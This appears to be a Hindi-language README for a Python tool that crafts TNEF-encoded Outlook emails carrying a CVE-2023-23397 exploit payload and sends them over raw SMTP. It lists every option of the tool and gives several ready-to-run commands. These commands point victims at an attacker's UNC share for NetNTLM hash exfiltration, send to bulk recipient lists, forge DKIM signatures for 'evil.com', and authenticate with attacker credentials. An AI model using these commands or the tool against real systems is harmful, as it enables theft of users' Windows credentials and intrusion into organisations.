
SMTP का उपयोग करके CVE-2023-23397 पेलोड के साथ ई-मेल भेजने के लिए Python स्क्रिप्ट
यह स्क्रिप्ट TNEF-एन्कोडेड आउटलुक ईमेलों को CVE-2023-23397 एक्सप्लॉइट पेलोड के साथ बनाने और उन्हें शुद्ध SMTP के माध्यम से भेजने की अनुमति देती है - COM ऑब्जेक्ट्स या EWS की आवश्यकता नहीं है।
मैं IPM.Schedule.Meeting.Request संदेश वर्ग को ठीक से काम करने में सक्षम नहीं हो सका (यह मीटिंग और रिमाइंडर दोनों उत्पन्न करता है लेकिन किसी कारण से PidLidReminderOverride संपत्ति का सम्मान नहीं करता), इसलिए इसके बजाय स्क्रिप्ट IPM.TaskRequest वर्ग का दुरुपयोग करती है। इसके परिणामस्वरूप मूल एक्सप्लॉइट की तरह एक दुर्भावनापूर्ण मीटिंग रिमाइंडर पॉपअप दिखाई देता है, लेकिन प्राप्तकर्ता संदेश के मुख्य भाग या मीटिंग विवरण को नहीं देख सकता है। हालांकि, OWA में, ईमेल बिना किसी अपॉइंटमेंट के एक सामान्य संदेश जैसा दिखता है।
Outlook365 16130.20218 और Outlook 2019 10395.20020 पर परीक्षण किया गया। ध्यान दें कि TNEF अटैचमेंट और हेडर बाहरी रूप से ईमेल भेजते समय एंटीस्पैम फिल्टर से नहीं गुज़र सकते - मैंने केवल उसी LAN में Linux मशीन से सीधे (या Postfix रिले के माध्यम से) Exchange को ईमेल भेजकर इसका परीक्षण किया।
options:
-h, --help show this help message and exit
-s SERVER, --server SERVER
smtp mail relay (host[:port]), default: localhost:25
-f SENDER, --from SENDER
sender email address
-t TO, --to TO recipient email address(es), path to a file or comma-separated values
-S SUBJECT, --subject SUBJECT
message subject
-r ROOM, --room ROOM meeting location (room name), default: Meeting Room #1
-b BODY, --body BODY plaintext message body (or path to file)
--html HTML HTML message body (or path to file)
-p PATH, --path PATH remote file path for NetNTLM exfiltration, e.g \\10.10.10.10\share\1.wav
-a AUTH, --auth AUTH username:password for AUTH command if authenticated send is required
--codepage CODEPAGE windows codepage (e.g. 1252=ASCII, 65001=Unicode) to encode HTML body (if any), default: 1252
--ehlo EHLO, --helo EHLO
EHLO command argument (sender external hostname)
-l LANG, --lang LANG Content-Language header value, default: en-US
--starttls Use STARTTLS when communicating over plaintext SMTP
--max-rcpts MAX_RCPTS
Maximum number of recipients per send attempt
-v Enable debug output
DKIM message signing:
--dkim-selector DKIM_SELECTOR
DKIM selector
--dkim-key DKIM_KEY DKIM private key file path
--dkim-domain DKIM_DOMAIN
DKIM domain name, default: sender address part after @
ईमेल [email protected] से [email protected] को भेजें:
python3 cve-2023-23397.py -s localhost:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.'
ईमेल को एकाधिक प्राप्तकर्ताओं को अवसरवादी TLS और फ़ाइल से HTML बॉडी के साथ भेजें:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected],[email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls
ईमेल को DKIM हस्ताक्षर (जिसके लिए pip install dkimpy आवश्यक है) और EHLO कमांड में कस्टम डोमेन के साथ फ़ाइल से लोड किए गए प्राप्तकर्ताओं को भेजें, प्रति संदेश तीन प्राप्तकर्ता:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t ./recipients.txt -S 'Test Meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls --max-rcpts 3 --dkim-key ./dkim.private --dkim-domain evil.com --dkim-selector default --ehlo mail.evil.com
ईमेल डोमेन क्रेडेंशियल्स के साथ भेजें:
python3 cve-2023-23397.py -s mail.example.com:587 --auth 'EXAMPLE\attacker:12345678' -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --starttls